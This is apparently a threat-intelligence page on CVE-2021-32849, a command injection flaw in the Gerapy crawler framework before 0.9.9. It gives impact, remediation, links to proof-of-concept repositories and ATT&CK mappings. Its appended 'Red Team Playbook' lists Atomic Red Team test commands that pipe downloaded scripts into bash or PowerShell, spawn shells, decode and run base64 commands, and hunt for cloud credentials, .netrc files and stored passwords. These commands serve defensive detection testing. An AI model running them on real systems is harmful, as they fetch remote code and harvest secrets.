CVE-2021-32849
Overview
This vulnerability is a command injection flaw in the Gerapy distributed crawler management framework. The root cause lies in insufficient input validation of commands executed by authenticated users within the system, allowing arbitrary command execution. The affected component is the command execution functionality accessible to authenticated users prior to version 0.9.9.
Vulnerability Description
Gerapy is a distributed crawler management framework. Prior to version 0.9.9, an authenticated user could execute arbitrary commands. This issue is fixed in version 0.9.9. There are no known workarounds.
Impact
An attacker with valid user credentials can execute arbitrary system commands on the server hosting Gerapy, potentially leading to full system compromise, data exposure, or service disruption. This requires authentication (PR:L) but no user interaction (UI:N) and can be exploited remotely (AV:N) with low attack complexity (AC:L). The vulnerability impacts confidentiality, integrity, and availability (C:H/I:H/A:H) as indicated by the CVSS vector.
Solution
Upgrade Gerapy to version 0.9.9 or later, where the command injection vulnerability is addressed as per the official advisory GHSA-756h-r2c9-qp5j. The vendor's GitHub security advisory page provides detailed patch instructions and confirms no known workarounds exist. Users should apply this update promptly to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Gerapy distributed crawler management framework allows an authenticated user to execute arbitrary commands on the server. This flaw arises from insufficient input validation and a lack of proper access controls, which can be exploited by users with legitimate credentials. When an attacker gains access to a Gerapy instance, they can leverage this vulnerability to run any command on the underlying operating system, potentially leading to a complete compromise of the server. The issue is particularly concerning because it affects all versions prior to 0.9.9, making a significant number of deployments vulnerable.
Exploitation of this vulnerability can occur through various attack vectors. An attacker, once authenticated, could craft specific requests that manipulate the command execution functionality of Gerapy. This could involve sending payloads that execute shell commands or scripts, allowing the attacker to perform actions such as data exfiltration, installation of malware, or lateral movement within the network. Scenarios could include an insider threat, where a disgruntled employee exploits their access, or an external attacker who has gained credentials through phishing or other means. The potential for abuse is high, as the commands executed can range from benign to highly destructive.
The real-world impact of this vulnerability can be severe, especially for organizations that rely on Gerapy for managing large-scale web crawling operations. A successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even complete system takeover. The business risks associated with such an incident include financial loss, reputational damage, and regulatory repercussions, particularly if personal data is compromised. Organizations may face legal challenges and compliance issues, especially in jurisdictions with strict data protection laws. The potential for cascading effects, such as loss of customer trust and increased scrutiny from regulators, further exacerbates the situation.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to version 0.9.9 or later, where the issue has been addressed. Regular patch management practices are essential to ensure that all software components are up to date. Additionally, organizations should implement robust monitoring and logging mechanisms to detect unusual behavior indicative of exploitation attempts. This could include tracking command execution logs and monitoring user activity for anomalies. Employing the principle of least privilege can also help minimize the risk by ensuring that users have only the access necessary for their roles, thereby reducing the potential impact of an attacker gaining authenticated access.
In conclusion, the vulnerability within the Gerapy framework poses significant risks to organizations leveraging this tool for web crawling. The ability for authenticated users to execute arbitrary commands can lead to severe consequences, including data breaches and system compromises. By understanding the technical details of the vulnerability, recognizing potential attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and similar threats. Continuous vigilance and proactive security measures are essential in today’s evolving cybersecurity landscape.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-32849, with new telemetry indicating the emergence of exploitation attempts targeting the vulnerable versions of Gerapy. This uptick is accompanied by the appearance of additional proof-of-concept exploits publicly available on GitHub, signaling increased attacker interest and potential for wider exploitation. Although the EPSS score remains stable, the elevated detection trend underscores an elevated operational tempo among threat actors leveraging this vulnerability. For defenders, this development heightens the urgency of monitoring authenticated user activity within Gerapy environments, as the risk of arbitrary command execution could facilitate lateral movement or data exfiltration. The evolving exploit landscape suggests that adversaries are actively refining their capabilities, thereby raising the overall threat level and necessitating enhanced vigilance despite the absence of new mitigation options.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Gerapy | Gerapy | All |
cpe:2.3:a:gerapy:gerapy:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
lowkey0808/cve-2021-32849
cve-2021-32849(gerapy命令执行)
|
lowkey0808 | 2 | 0 | 2022-04-25 | View |
|
bb33bb/CVE-2021-32849
Gerapy clone background remote command execution
|
bb33bb | 0 | 0 | 2021-12-14 | View |
Threat Feed
2 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
54%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-32849 |
| securitylab.github.com |
GitHub CVE
x_refsource_MISC
|
https://securitylab.github.com/advisories/GHSL-2021-076-gerapy/ |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/Gerapy/Gerapy/security/advisories/GHSA-756h-r2c9-qp5j |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/Gerapy/Gerapy/issues/197 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/Gerapy/Gerapy/issues/217 |
| lgtm.com |
GitHub CVE
x_refsource_MISC
|
https://lgtm.com/projects/g/Gerapy/Gerapy?mode=tree&ruleFocus=1505994646253 |